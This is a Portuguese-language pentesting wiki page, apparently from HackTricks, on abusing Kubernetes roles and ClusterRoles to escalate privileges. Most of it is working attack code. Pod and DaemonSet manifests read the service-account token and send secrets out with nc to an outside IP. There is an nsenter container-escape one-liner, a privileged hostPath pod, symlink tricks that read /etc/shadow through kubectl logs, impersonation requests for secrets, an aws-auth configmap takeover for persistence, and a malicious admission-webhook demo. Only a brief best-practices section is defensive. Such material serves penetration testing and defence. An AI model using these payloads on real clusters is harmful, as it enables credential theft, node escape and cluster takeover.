Abusing Roles/ClusterRoles in Kubernetes

Apoie o HackTricks

Aqui você pode encontrar algumas configurações de Funções e ClusterRoles potencialmente perigosas. Lembre-se de que você pode obter todos os recursos suportados com kubectl api-resources

Escalação de Privilégios

Referindo-se como a arte de obter acesso a um principal diferente dentro do cluster com privilégios diferentes (dentro do cluster Kubernetes ou para nuvens externas) do que os que você já possui, no Kubernetes existem basicamente 4 técnicas principais para escalar privilégios:

  • Ser capaz de se passar por outros usuários/grupos/SAs com melhores privilégios dentro do cluster Kubernetes ou para nuvens externas

  • Ser capaz de criar/alterar/executar pods onde você pode encontrar ou anexar SAs com melhores privilégios dentro do cluster Kubernetes ou para nuvens externas

  • Ser capaz de ler segredos pois os tokens dos SAs são armazenados como segredos

  • Ser capaz de escapar para o nó de um contêiner, onde você pode roubar todos os segredos dos contêineres em execução no nó, as credenciais do nó e as permissões do nó dentro da nuvem em que está sendo executado (se houver)

  • Uma quinta técnica que merece menção é a capacidade de executar port-forward em um pod, pois você pode ser capaz de acessar recursos interessantes dentro desse pod.

Acessar Qualquer Recurso ou Verbo (Coringa)

O coringa (*) dá permissão sobre qualquer recurso com qualquer verbo. É usado por administradores. Dentro de um ClusterRole, isso significa que um atacante poderia abusar de qualquer namespace no cluster.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Acessar Qualquer Recurso com um verbo específico

No RBAC, certas permissões representam riscos significativos:

  1. create: Concede a capacidade de criar qualquer recurso do cluster, arriscando escalonamento de privilégios.

  2. list: Permite listar todos os recursos, potencialmente vazando dados sensíveis.

  3. get: Permite acessar segredos de contas de serviço, representando uma ameaça à segurança.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Criar Pod - Roubar Token

Um atacante com permissões para criar um pod, poderia anexar uma Conta de Serviço privilegiada ao pod e roubar o token para se passar pela Conta de Serviço. Efetivamente escalando privilégios para isso

Exemplo de um pod que irá roubar o token da conta de serviço bootstrap-signer e enviá-lo para o atacante:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Criação e Escape de Pods

O seguinte indica todos os privilégios que um contêiner pode ter:

  • Acesso privilegiado (desativando proteções e definindo capacidades)

  • Desativar os namespaces hostIPC e hostPid que podem ajudar a escalar privilégios

  • Desativar o namespace hostNetwork, dando acesso para roubar privilégios de nuvem de nós e melhor acesso às redes

  • Montar /hosts dentro do contêiner

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Criar o pod com:

kubectl --token $token create -f mount_root.yaml

Uma linha de este tweet e com algumas adições:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Agora que você pode escapar para o nó, verifique as técnicas pós-exploração em:

Furtividade

Provavelmente você deseja ser mais furtivo, nas próximas páginas você pode ver o que seria capaz de acessar se criar um pod habilitando apenas alguns dos privilégios mencionados no modelo anterior:

  • Privilegiado + hostPID

  • Apenas privilegiado

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Você pode encontrar exemplos de como criar/abusar das configurações de pods privilegiados anteriores em https://github.com/BishopFox/badPods

Criação de Pod - Mova para a nuvem

Se você pode criar um pod (e opcionalmente uma conta de serviço), talvez consiga obter privilégios no ambiente de nuvem atribuindo funções de nuvem a um pod ou a uma conta de serviço e então acessando-o. Além disso, se você puder criar um pod com o namespace de rede do host, pode roubar a função IAM da instância do .

Para mais informações, confira:

Pod Escape Privileges

Criar/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs e Cronjobs

É possível abusar dessas permissões para criar um novo pod e estabelecer privilégios como no exemplo anterior.

O yaml a seguir cria um daemonset e exfiltra o token do SA dentro do pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Execução de Pods

pods/exec é um recurso no Kubernetes usado para executar comandos em um shell dentro de um pod. Isso permite executar comandos dentro dos contêineres ou obter um shell interno.

Portanto, é possível entrar em um pod e roubar o token do SA, ou entrar em um pod privilegiado, escapar para o nó e roubar todos os tokens dos pods no nó e (abusar) do nó:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Esta permissão permite encaminhar uma porta local para uma porta no pod especificado. Isso é destinado a facilitar a depuração de aplicativos em execução dentro de um pod, mas um atacante pode abusar disso para obter acesso a aplicativos interessantes (como bancos de dados) ou vulneráveis (sites?) dentro de um pod:

kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

Conforme indicado nesta pesquisa, se você pode acessar ou criar um pod com o diretório /var/log/ dos hosts montado nele, você pode escapar do contêiner. Isso ocorre basicamente porque quando o Kube-API tenta obter os logs de um contêiner (usando kubectl logs <pod>), ele solicita o arquivo 0.log do pod usando o endpoint /logs/ do serviço Kubelet. O serviço Kubelet expõe o endpoint /logs/ que basicamente está expondo o sistema de arquivos /var/log do contêiner.

Portanto, um atacante com acesso para escrever na pasta /var/log/ do contêiner poderia abusar desses comportamentos de 2 maneiras:

  • Modificando o arquivo 0.log do seu contêiner (geralmente localizado em /var/logs/pods/namespace_pod_uid/container/0.log) para ser um link simbólico apontando para /etc/shadow, por exemplo. Em seguida, você poderá exfiltrar o arquivo shadow dos hosts fazendo:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Se o atacante controlar qualquer principal com as permissões para ler nodes/log, ele pode simplesmente criar um symlink em /host-mounted/var/log/sym para / e ao acessar https://<gateway>:10250/logs/sym/ ele listará o sistema de arquivos raiz dos hosts (alterar o symlink pode fornecer acesso a arquivos).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Um laboratório e um exploit automatizado podem ser encontrados em https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Bypassing readOnly protection

Se tiver sorte e a capacidade altamente privilegiada CAP_SYS_ADMIN estiver disponível, você pode simplesmente remontar a pasta como rw:

mount -o rw,remount /hostlogs/

Bypassing hostPath readOnly protection

Conforme declarado nesta pesquisa, é possível contornar a proteção:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

O que foi feito para evitar escapes como os anteriores foi, em vez de usar uma montagem hostPath, usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta de hosts no contêiner com acesso de gravação:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Impersonando contas privilegiadas

Com um privilégio de impersonação de usuário, um atacante poderia se passar por uma conta privilegiada.

Basta usar o parâmetro --as=<username> no comando kubectl para se passar por um usuário, ou --as-group=<group> para se passar por um grupo:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Ou utilize a API REST:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Listagem de Segredos

A permissão para listar segredos poderia permitir que um atacante realmente leia os segredos acessando o endpoint da API REST:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Leitura de um segredo - forçando IDs de token

Enquanto um atacante em posse de um token com permissões de leitura requer o nome exato do segredo para usá-lo, ao contrário do privilégio mais amplo de listagem de segredos, ainda existem vulnerabilidades. As contas de serviço padrão no sistema podem ser enumeradas, cada uma associada a um segredo. Esses segredos têm uma estrutura de nome: um prefixo estático seguido de um token alfanumérico aleatório de cinco caracteres (excluindo certos caracteres) de acordo com o código-fonte.

O token é gerado a partir de um conjunto limitado de 27 caracteres (bcdfghjklmnpqrstvwxz2456789), em vez da faixa alfanumérica completa. Essa limitação reduz as combinações possíveis totais para 14.348.907 (27^5). Consequentemente, um atacante poderia executar um ataque de força bruta para deduzir o token em questão de horas, potencialmente levando a uma escalada de privilégios ao acessar contas de serviço sensíveis.

Solicitações de Assinatura de Certificado

Se você tiver os verbos create no recurso certificatesigningrequests (ou pelo menos em certificatesigningrequests/nodeClient). Você pode criar um novo CeSR de um novo nó.

De acordo com a documentação, é possível aprovar automaticamente essas solicitações, então nesse caso você não precisa de permissões extras. Caso contrário, você precisaria ser capaz de aprovar a solicitação, o que significa atualizar em certificatesigningrequests/approval e approve em signers com o nome do recurso <signerNameDomain>/<signerNamePath> ou <signerNameDomain>/*

Um exemplo de uma função com todas as permissões necessárias é:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Portanto, com a aprovação do novo CSR do nó, você pode abusar das permissões especiais dos nós para roubar segredos e escalar privilégios.

Nos este post e este a configuração de inicialização do TLS do GKE K8s é configurada com assinatura automática e é abusada para gerar credenciais de um novo Nó K8s e então abusar deles para escalar privilégios roubando segredos. Se você tiver os privilégios mencionados, você poderia fazer a mesma coisa. Note que o primeiro exemplo contorna o erro que impede um novo nó de acessar segredos dentro de contêineres porque um nó só pode acessar os segredos dos contêineres montados nele.

A maneira de contornar isso é apenas criar credenciais de nó para o nome do nó onde o contêiner com os segredos interessantes está montado (mas apenas verifique como fazer isso no primeiro post):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS configmaps de autenticação aws-auth

Principais que podem modificar configmaps no namespace kube-system em clusters EKS (precisam estar na AWS) podem obter privilégios de administrador do cluster sobrescrevendo o configmap aws-auth. As ações necessárias são update e patch, ou create se o configmap não foi criado:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Você pode usar aws-auth para persistência dando acesso a usuários de outras contas.

No entanto, aws --profile other_account eks update-kubeconfig --name <cluster-name> não funciona de uma conta diferente. Mas na verdade aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing funciona se você colocar o ARN do cluster em vez de apenas o nome. Para fazer o kubectl funcionar, certifique-se de configurar o kubeconfig da vítima e nos argumentos de execução da aws adicione --profile other_account_role para que o kubectl esteja usando o perfil da outra conta para obter o token e contatar a AWS.

Escalando no GKE

Existem 2 maneiras de atribuir permissões K8s a princípios GCP. Em qualquer caso, o princípio também precisa da permissão container.clusters.get para poder reunir credenciais para acessar o cluster, ou você precisará gerar seu próprio arquivo de configuração kubectl (siga o próximo link).

Ao falar com o endpoint da api do K8s, o token de autenticação GCP será enviado. Em seguida, o GCP, por meio do endpoint da api do K8s, primeiro verificará se o princípio (por e-mail) tem algum acesso dentro do cluster, depois verificará se ele tem qualquer acesso via GCP IAM. Se qualquer um desses for verdadeiro, ele será respondido. Se não, um erro sugerindo dar permissões via GCP IAM será dado.

Então, o primeiro método é usando GCP IAM, as permissões K8s têm suas equivalentes permissões GCP IAM, e se o princípio tiver, ele poderá usá-las.

GCP - Container Privesc

O segundo método é atribuir permissões K8s dentro do cluster identificando o usuário pelo seu e-mail (contas de serviço GCP incluídas).

Criar token de serviceaccounts

Princípios que podem criar TokenRequests (serviceaccounts/token) Ao falar com o endpoint da api do K8s SAs (informações de aqui).

ephemeralcontainers

Princípios que podem atualizar ou patch pods/ephemeralcontainers podem obter execução de código em outros pods, e potencialmente escapar para seu nó adicionando um contêiner efêmero com um securityContext privilegiado.

ValidatingWebhookConfigurations ou MutatingWebhookConfigurations

Princípios com qualquer um dos verbos create, update ou patch sobre validatingwebhookconfigurations ou mutatingwebhookconfigurations podem ser capazes de criar uma dessas webhookconfigurations para poder escalar privilégios.

Para um exemplo de mutatingwebhookconfigurations confira esta seção deste post.

Escalar

Como você pode ler na próxima seção: Prevenção de Escalação de Privilégios Incorporada, um princípio não pode atualizar nem criar funções ou clusterroles sem ter essas novas permissões. Exceto se ele tiver o verbo escalate sobre roles ou clusterroles. Então ele pode atualizar/criar novas funções, clusterroles com melhores permissões do que as que ele tem.

Proxy de nós

Princípios com acesso ao sub-recurso nodes/proxy podem executar código em pods via a API do Kubelet (de acordo com isso). Mais informações sobre autenticação do Kubelet nesta página:

Kubelet Authentication & Authorization

Você tem um exemplo de como obter RCE falando autorizado a uma API do Kubelet aqui.

Excluir pods + nós não escalonáveis

Princípios que podem excluir pods (verbo delete sobre recurso pods), ou expulsar pods (verbo create sobre recurso pods/eviction), ou alterar o status do pod (acesso a pods/status) e podem tornar outros nós não escalonáveis (acesso a nodes/status) ou excluir nós (verbo delete sobre recurso nodes) e têm controle sobre um pod, poderiam roubar pods de outros nós para que sejam executados no nó comprometido e o atacante possa roubar os tokens desses pods.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Estado dos Serviços (CVE-2020-8554)

Principais que podem modificar services/status podem definir o campo status.loadBalancer.ingress.ip para explorar o CVE-2020-8554 não corrigido e lançar ataques de MiTM contra o cluster. A maioria das mitigações para o CVE-2020-8554 apenas previnem serviços ExternalIP (de acordo com este).

Estado dos Nós e Pods

Principais com permissões de update ou patch sobre nodes/status ou pods/status, podem modificar rótulos para afetar as restrições de agendamento impostas.

Prevenção de Escalação de Privilégios Incorporada

O Kubernetes possui um mecanismo incorporado para prevenir a escalação de privilégios.

Esse sistema garante que os usuários não podem elevar seus privilégios modificando funções ou associações de funções. A aplicação dessa regra ocorre no nível da API, fornecendo uma proteção mesmo quando o autorizador RBAC está inativo.

A regra estipula que um usuário só pode criar ou atualizar uma função se possuir todas as permissões que a função compreende. Além disso, o escopo das permissões existentes do usuário deve estar alinhado com o da função que ele está tentando criar ou modificar: seja em todo o cluster para ClusterRoles ou restrito ao mesmo namespace (ou em todo o cluster) para Roles.

Há uma exceção à regra anterior. Se um principal tem o verbo escalate sobre roles ou clusterroles ele pode aumentar os privilégios de funções e clusterroles mesmo sem possuir as permissões.

Obter e Modificar RoleBindings/ClusterRoleBindings

Aparentemente essa técnica funcionava antes, mas de acordo com meus testes não está mais funcionando pelo mesmo motivo explicado na seção anterior. Você não pode criar/modificar um rolebinding para conceder a si mesmo ou a um SA diferente alguns privilégios se você ainda não os possui.

O privilégio de criar Rolebindings permite a um usuário vincular funções a uma conta de serviço. Esse privilégio pode potencialmente levar a uma escalação de privilégios porque permite ao usuário vincular privilégios de administrador a uma conta de serviço comprometida.

Outros Ataques

Aplicativo de proxy sidecar

Por padrão, não há criptografia na comunicação entre os pods. Autenticação mútua, de duas vias, pod a pod.

Criar um aplicativo de proxy sidecar

Crie seu .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Edite o seu arquivo .yaml e adicione as linhas comentadas:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Veja os logs do proxy:

kubectl logs app -C proxy

Mais informações em: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Controlador de Admissão Malicioso

Um controlador de admissão intercepta solicitações ao servidor da API do Kubernetes antes da persistência do objeto, mas após a solicitação ser autenticada e autorizada.

Se um atacante de alguma forma conseguir injetar um Controlador de Admissão de Mutação, ele será capaz de modificar solicitações já autenticadas. Sendo capaz de potencialmente elevar privilégios e, mais comumente, persistir no cluster.

Exemplo de https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Verifique o status para ver se está pronto:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
mutating-webhook-status-check.PNG

Em seguida, implante um novo pod:

kubectl run nginx --image nginx
kubectl get po -w

Quando você visualizar o erro ErrImagePull, verifique o nome da imagem com qualquer uma das consultas:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
malicious-admission-controller.PNG

Como você pode ver na imagem acima, tentamos executar a imagem nginx, mas a imagem executada final é rewanthtammana/malicious-image. O que acabou de acontecer!!?

Aspectos Técnicos

O script ./deploy.sh estabelece um controlador de admissão de webhook de mutação, que modifica solicitações para a API do Kubernetes conforme especificado em suas linhas de configuração, influenciando os resultados observados:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

O trecho acima substitui a primeira imagem do container em todos os pods por rewanthtammana/malicious-image.

Bypass do OPA Gatekeeper

Kubernetes - OPA Gatekeeper bypass

Melhores Práticas

Desativando a Montagem Automática de Tokens de Conta de Serviço

  • Pods e Contas de Serviço: Por padrão, os pods montam um token de conta de serviço. Para aumentar a segurança, o Kubernetes permite desativar esse recurso de montagem automática.

  • Como Aplicar: Defina automountServiceAccountToken: false na configuração de contas de serviço ou pods a partir da versão 1.6 do Kubernetes.

Atribuição Restritiva de Usuários em RoleBindings/ClusterRoleBindings

  • Inclusão Seletiva: Garanta que apenas os usuários necessários sejam incluídos em RoleBindings ou ClusterRoleBindings. Audite regularmente e remova usuários irrelevantes para manter a segurança rigorosa.

Funções Específicas do Namespace em Vez de Funções em Toda a Cluster

  • Funções vs. ClusterRoles: Prefira usar Funções e RoleBindings para permissões específicas do namespace em vez de ClusterRoles e ClusterRoleBindings, que se aplicam em toda a cluster. Esse enfoque oferece um controle mais preciso e limita o escopo das permissões.

Utilize ferramentas automatizadas

Referências

Suporte ao HackTricks

Last updated